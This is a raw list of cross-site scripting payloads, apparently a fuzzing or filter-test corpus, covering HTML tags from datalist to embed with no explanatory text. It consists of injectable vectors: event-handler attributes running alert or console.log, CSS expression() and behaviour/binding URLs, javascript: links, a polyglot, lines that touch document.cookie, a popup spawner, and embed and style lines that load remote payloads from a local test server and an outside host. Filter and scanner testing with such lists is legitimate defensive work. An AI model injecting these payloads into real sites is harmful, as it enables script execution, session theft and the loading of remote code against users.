<datalist onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</datalist>
<dd onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</dd>
<del onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</del>
<details onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</details>
<details ontoggle="aler\u0074(1)">
<details ontoggle=alert(1)>
<details open ontoggle="alert(1)">
<dfn onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</dfn>
<dialog onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</dialog>
<dialog open="" onclose="alert(1)"><form method="dialog"><button>Close me!</button></form></dialog>
<dir onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</dir>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu=x>right-click<menu id=x onshow=alert(1)>
<div datafld="b" dataformatas="html" dataid=XSS SRC="#XSS"></div>
<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]]]><![CDATA[> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"> <h1>Drop me</h1></div><iframe src="http://www.example.org/dropHere.html"></iframe>
<div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"><h1>Drop me</h1></div>
<div id="120"><script>function makePopups(){for (i=1;i<6;i++) {window.open('popup.html','spam'+i,'width=50,height=50');}}</script>
<div id="67"><!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"onerror CDATA "alert(67)"onload CDATA "alert(2)">]><img />//["'`-->]]]]><![CDATA[>]</div>
<div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x></doc>//["'`-->]]]]><![CDATA[>]</div>
<div id="d"><option id="o"></div><script>d.addEventListener("DOMNodeRemoved",function(){new ArrayBuffer(0xfffffff);alert()});document.createElement("select").options[0]=o;</script>
<div id="x">x</div><xml:namespace prefix="t"><import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>">
<div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div id=d><x xmlns="><iframe onload=alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</div>
<div onmouseover="alert('XSS');">,
<div onmouseover="alert(1);">
<div onmouseover="document.cookie=true;">
<div style="-ms-scroll- limit:1px;overflow:scroll;width:1px" onscroll=alert('xss')>
<div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>
<div style="background-image: url(javascript:alert(1););">
<div style="background-image: url(javascript:document.cookie=true;);">
<div style="behaviour: url('http://127.0.0.1:3555/xss_serve_payloads/X.html');">
<div style="behaviour: url([link to code]);">
<div style="behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/X.html);">
<div style="binding: url("http://127.0.0.1:3555/xss_serve_payloads/X.html"));">
<div style="binding: url([link to code]);">
<div style="binding: url(http://127.0.0.1:3555/xss_serve_payloads/X.html));">
<div style="color:rgb(''�x:expression(alert(1))"></div>
<div style="font-family:foo}color=red;">X
<div style="list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div>
<div style="width: expression(alert(1););">
<div style="width: expression(document.cookie=true;);">
<div style=animation-name:x onanimationstart=alert(1)>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>
<div style=overflow:-webkit-marquee onscroll=alert(1)>
<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>
<div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expression(1)-alert(1)>
<div style=xss:expression(alert(1))>
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>
<div='/x='><iframe/onload=alert(1)>>
<div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>
<dl onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</dl>
<doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(1)" xlink:type="simple">XXX</x></doc>
<dt onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</dt>
<element onpointerover=alert(1)>
<em onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" <em>="Renders as emphasized text" <strong>="Defines important text" <code>="Defines a piece of computer code" <samp>="Defines sample output from a computer program" <kbd>="Defines keyboard input" <var>="Defines a variable">Test</em>
<embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
